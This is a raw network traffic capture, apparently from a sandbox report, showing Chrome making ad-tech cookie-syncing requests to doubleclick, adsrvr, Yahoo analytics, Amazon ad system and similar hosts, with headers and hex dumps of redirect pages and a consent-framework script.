2024-01-10 23:27:16 UTC	770	OUT	GET /pixel?google_nid=pmeb&google_sc=1&google_hm=rxowsCS4R26u1L6NyvpBxA%3D%3D&gdpr=0&gdpr_consent= HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:16 UTC	852	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://cm.g.doubleclick.net/pixel?google_nid=pmeb&google_sc=1&google_hm=rxowsCS4R26u1L6NyvpBxA%3D%3D&gdpr=0&gdpr_consent=&google_tc= Date: Wed, 10 Jan 2024 23:27:16 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 350 X-XSS-Protection: 0 Set-Cookie: test_cookie=CheckForPermission; expires=Wed, 10-Jan-2024 23:42:16 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-10 23:27:16 UTC	350	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 63 6d 2e 67 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 2f 70 69 78 65 6c 3f 67 6f 6f 67 6c 65 5f 6e 69 64 3d 70 6d 65 62 26 61 6d 70 3b 67 6f 6f 67 6c 65 5f 73 63 3d 31 26 61 6d 70 3b 67 6f 6f 67 6c 65 5f 68 6d 3d 72 78 6f 77 73 43 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://cm.g.doubleclick.net/pixel?google_nid=pmeb&google_sc=1&google_hm=rxowsC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
260	192.168.2.4	50029	142.250.31.156	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:16 UTC	782	OUT	GET /pixel?google_nid=pubmatic&google_hm=QUYxQTMwQjAtMjRCOC00NzZFLUFFRDQtQkU4RENBRkE0MUM0&gdpr=0&gdpr_consent= HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:16 UTC	864	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://cm.g.doubleclick.net/pixel?google_nid=pubmatic&google_hm=QUYxQTMwQjAtMjRCOC00NzZFLUFFRDQtQkU4RENBRkE0MUM0&gdpr=0&gdpr_consent=&google_tc= Date: Wed, 10 Jan 2024 23:27:16 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 358 X-XSS-Protection: 0 Set-Cookie: test_cookie=CheckForPermission; expires=Wed, 10-Jan-2024 23:42:16 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-10 23:27:16 UTC	358	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 63 6d 2e 67 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 2f 70 69 78 65 6c 3f 67 6f 6f 67 6c 65 5f 6e 69 64 3d 70 75 62 6d 61 74 69 63 26 61 6d 70 3b 67 6f 6f 67 6c 65 5f 68 6d 3d 51 55 59 78 51 54 4d 77 51 6a 41 74 4d 6a 52 43 4f 43 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://cm.g.doubleclick.net/pixel?google_nid=pubmatic&google_hm=QUYxQTMwQjAtMjRCOC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
261	192.168.2.4	50022	15.197.193.217	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:16 UTC	768	OUT	GET /track/cmf/generic?ttd_pid=pubmatic&ttd_tpi=1&gdpr=0&gdpr_consent= HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=bd6a219c-2538-477b-90ee-6d20c7860c4b; TDCPM=CAESGQoKcmlnaHRtZWRpYRILCIr75Nm2j8k8EAUYBSABKAIyCwii9sSCzY_JPBAFOAE.
2024-01-10 23:27:16 UTC	661	IN	HTTP/1.1 302 Found Date: Wed, 10 Jan 2024 23:27:16 GMT Content-Length: 355 Connection: close server: Kestrel location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI4NDkmdGw9MTI5NjAw&piggybackCookie=bd6a219c-2538-477b-90ee-6d20c7860c4b&gdpr=0&gdpr_consent= set-cookie: TDID=bd6a219c-2538-477b-90ee-6d20c7860c4b; expires=Fri, 10 Jan 2025 23:27:16 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESGQoKcmlnaHRtZWRpYRILCIr75Nm2j8k8EAUSFwoIcHVibWF0aWMSCwj6v-ryto_JPBAFGAEgASgCMgsIqLbtn82PyTwQBTgBWghwdWJtYXRpY2AC; expires=Fri, 10 Jan 2025 23:27:16 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-01-10 23:27:16 UTC	355	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 69 6d 61 67 65 32 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 53 65 72 76 65 72 2f 50 75 67 3f 76 63 6f 64 65 3d 62 7a 30 79 4a 6e 52 35 63 47 55 39 4d 53 5a 6a 62 32 52 6c 50 54 49 34 4e 44 6b 6d 64 47 77 39 4d 54 49 35 4e 6a 41 77 26 70 69 67 67 79 62 61 63 6b 43 6f 6f 6b 69 65 3d 62 64 36 61 32 31 39 63 2d 32 35 33 38 2d 34 37 37 62 2d 39 30 65 65 2d 36 64 32 30 63 37 38 36 30 63 34 62 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 22 3e 68 74 74 70 73 3a 2f 2f 73 69 6d 61 67 65 32 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 53 65 72 76 65 72 2f 50 75 67 3f 76 63 6f 64 65 3d 62 7a 30 79 4a 6e 52 35 63 47 55 39 4d 53 5a 6a 62 32 Data Ascii: Redirecting to: <a href="https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI4NDkmdGw9MTI5NjAw&piggybackCookie=bd6a219c-2538-477b-90ee-6d20c7860c4b&gdpr=0&gdpr_consent=">https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
262	192.168.2.4	50028	142.250.31.156	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:16 UTC	743	OUT	GET /pixel?google_nid=pubmatic&google_cm&google_sc&gdpr=0&gdpr_consent= HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:16 UTC	827	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://cm.g.doubleclick.net/pixel?google_nid=pubmatic&google_cm=&google_sc=&gdpr=0&gdpr_consent=&google_tc= Date: Wed, 10 Jan 2024 23:27:16 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 325 X-XSS-Protection: 0 Set-Cookie: test_cookie=CheckForPermission; expires=Wed, 10-Jan-2024 23:42:16 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-10 23:27:16 UTC	325	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 63 6d 2e 67 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 2f 70 69 78 65 6c 3f 67 6f 6f 67 6c 65 5f 6e 69 64 3d 70 75 62 6d 61 74 69 63 26 61 6d 70 3b 67 6f 6f 67 6c 65 5f 63 6d 3d 26 61 6d 70 3b 67 6f 6f 67 6c 65 5f 73 63 3d 26 61 6d Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://cm.g.doubleclick.net/pixel?google_nid=pubmatic&google_cm=&google_sc=&am

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
263	192.168.2.4	50037	34.200.65.202	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:16 UTC	1345	OUT	GET /cms?partner_id=NEUAR&_origin=false&_redirect=false&_hosted_id=213320604757009326690&gdpr=&gdpr_consent= HTTP/1.1 Host: cms.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; IDSYNC="19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z"
2024-01-10 23:27:16 UTC	354	IN	HTTP/1.1 302 Redirect Date: Wed, 10 Jan 2024 23:27:16 GMT Connection: close Server: ATS/9.1.10.94 Cache-Control: no-store Location: https://ups.analytics.yahoo.com/ups/58692/cms?partner_id=NEUAR&_origin=false&_redirect=false&_hosted_id=213320604757009326690&gdpr=&gdpr_consent= Content-Type: text/html Content-Language: en Content-Length: 427
2024-01-10 23:27:16 UTC	427	IN	Data Raw: 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 44 6f 63 75 6d 65 6e 74 20 48 61 73 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 77 68 69 74 65 22 20 46 47 43 4f 4c 4f 52 3d 22 62 6c 61 63 6b 22 3e 0a 3c 48 31 3e 44 6f 63 75 6d 65 6e 74 20 48 61 73 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 3c 48 52 3e 0a 0a 3c 46 4f 4e 54 20 46 41 43 45 3d 22 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 22 3e 3c 42 3e 0a 44 65 73 63 72 69 70 74 69 6f 6e 3a 20 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 68 61 73 20 6d 6f 76 65 64 20 74 6f 20 61 20 6e 65 77 20 6c 6f 63 61 74 69 6f 6e 2e 20 20 54 68 65 20 6e 65 77 20 6c 6f 63 61 74 69 6f 6e 20 69 73 20 22 68 Data Ascii: <HTML><HEAD><TITLE>Document Has Moved</TITLE></HEAD><BODY BGCOLOR="white" FGCOLOR="black"><H1>Document Has Moved</H1><HR><FONT FACE="Helvetica,Arial"><B>Description: The document you requested has moved to a new location. The new location is "h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
264	192.168.2.4	50025	52.46.151.131	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:16 UTC	800	OUT	GET /dcm?pid=3b882453-6770-4785-baf8-a598533c054a&id=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&redir=true&gdpr=0&gdpr_consent= HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:16 UTC	815	IN	HTTP/1.1 302 Found Server: Server Date: Wed, 10 Jan 2024 23:27:16 GMT Content-Length: 0 Connection: close x-amz-rid: YP3ND348T3V4396QJG23 Set-Cookie: ad-id=AyjwvOXOUEBhiwCbt7I0SGw\|t; Domain=.amazon-adsystem.com; Expires=Tue, 01-Oct-2024 23:27:16 GMT; Path=/; Secure; HttpOnly; SameSite=None Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: policyref="https://www.amazon.com/w3c/p3p.xml", CP="PSAo PSDo OUR SAM OTR DSP COR" Location: https://s.amazon-adsystem.com/dcm?pid=3b882453-6770-4785-baf8-a598533c054a&id=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&redir=true&gdpr=0&gdpr_consent=&dcc=t Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
265	192.168.2.4	50026	72.251.229.176	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:16 UTC	731	OUT	GET /bridge?AG_PID=pubmatic&AG_SETCOOKIE&gdpr=0&gdpr_consent= HTTP/1.1 Host: cm.adgrx.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:16 UTC	621	IN	HTTP/1.1 302 Found Date: Wed, 10 Jan 2024 23:27:16 GMT Content-Type: image/gif Content-Length: 0 Connection: close server: Cowboy set-cookie: ADGRX_UID=cabe22d6-b00f-11ee-b20f-088496e42def; Version=1; Expires=Sat, 08-Feb-2025 23:27:16 GMT; Max-Age=34128000; Domain=.adgrx.com; Path=/; Secure; SameSite=None Location: https://cm.adgrx.com/bridge.gif?AG_PID=pubmatic&gdpr=0&gdpr_consent= X-RealServer-NX: lga-delivery-10 Cache-Control: no-cache, no-store, must-revalidate, proxy-revalidate Pragma: no-cache Expires: Thu, 23 Sep 2004 17:42:04 GMT P3P: CP="NOI OTC OTP OUR NOR" Access-Control-Allow-Origin: *

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
266	192.168.2.4	49988	104.18.38.76	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:16 UTC	693	OUT	GET /um/ixmatch.html HTTP/1.1 Host: js-sec.indexww.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:16 UTC	442	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Last-Modified: Mon, 25 Jul 2022 19:18:19 GMT P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" CF-Cache-Status: HIT Age: 767 Expires: Thu, 11 Jan 2024 03:27:16 GMT Cache-Control: public, max-age=14400 Accept-Ranges: bytes Server: cloudflare CF-RAY: 8438b0929dac07ec-IAD
2024-01-10 23:27:16 UTC	927	IN	Data Raw: 62 36 38 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 73 63 72 69 70 74 3e 21 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 72 28 6e 29 7b 69 66 28 65 5b 6e 5d 29 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 69 3d 65 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 63 61 6c 6c 28 69 2e 65 78 70 6f 72 74 73 2c 69 2c 69 2e 65 78 70 6f 72 74 73 2c 72 29 2c 69 2e 6c 3d 21 30 2c 69 2e 65 78 70 6f 72 74 73 7d 72 2e 6d 3d 74 2c 72 2e 63 3d 65 2c 72 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 72 2e 6f 28 74 2c 65 29 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 Data Ascii: b68<!doctype html><head></head><body><script>!function(t){var e={};function r(n){if(e[n])return e[n].exports;var i=e[n]={i:n,l:!1,exports:{}};return t[n].call(i.exports,i,i.exports,r),i.l=!0,i.exports}r.m=t,r.c=e,r.d=function(t,e,n){r.o(t,e)\|\|Object.def
2024-01-10 23:27:16 UTC	1369	IN	Data Raw: 74 79 2e 63 61 6c 6c 28 74 2c 65 29 7d 2c 72 2e 70 3d 22 22 2c 72 28 72 2e 73 3d 30 29 7d 28 5b 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 6c 65 74 20 72 3d 21 31 3b 63 6f 6e 73 74 20 6e 3d 7b 7d 3b 6c 65 74 20 69 2c 61 2c 6f 2c 63 3b 63 6f 6e 73 74 20 75 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 73 28 74 29 7b 6c 65 74 20 65 2c 72 2c 6e 3d 77 69 6e 64 6f 77 2c 69 3d 22 54 43 46 22 3d 3d 3d 74 3f 22 5f 5f 74 63 66 61 70 69 22 3a 22 5f 5f 75 73 70 61 70 69 22 2c 61 3d 22 54 43 46 22 3d 3d 3d 74 3f 22 5f 5f 74 63 66 61 70 69 4c 6f 63 61 74 6f 72 22 3a 22 5f 5f 75 73 70 61 70 69 4c 6f 63 61 74 6f 72 22 3b 66 6f 72 28 3b 6e 3b 29 7b 74 72 79 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 6e 5b 69 5d 29 7b 72 3d 6e 5b 69 5d 2c 65 3d 6e 3b 62 Data Ascii: ty.call(t,e)},r.p="",r(r.s=0)}([function(t,e){let r=!1;const n={};let i,a,o,c;const u={};function s(t){let e,r,n=window,i="TCF"===t?"__tcfapi":"__uspapi",a="TCF"===t?"__tcfapiLocator":"__uspapiLocator";for(;n;){try{if("function"==typeof n[i]){r=n[i],e=n;b
2024-01-10 23:27:16 UTC	631	IN	Data Raw: 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 74 79 6c 65 22 2c 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 22 29 2c 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 77 69 64 74 68 22 2c 22 30 22 29 2c 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 68 65 69 67 68 74 22 2c 22 30 22 29 2c 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 66 72 61 6d 65 62 6f 72 64 65 72 22 2c 22 30 22 29 2c 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6d 61 72 67 69 6e 68 65 69 67 68 74 22 2c 22 30 22 29 2c 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6d 61 72 67 69 6e 77 69 64 74 68 22 2c 22 30 22 29 2c 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 63 72 6f 6c 6c 69 6e 67 22 2c 22 6e 6f 22 29 2c 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 2c 74 29 2c Data Ascii: setAttribute("style","display:none;"),i.setAttribute("width","0"),i.setAttribute("height","0"),i.setAttribute("frameborder","0"),i.setAttribute("marginheight","0"),i.setAttribute("marginwidth","0"),i.setAttribute("scrolling","no"),i.setAttribute("src",t),
2024-01-10 23:27:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
267	192.168.2.4	50038	50.57.31.206	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
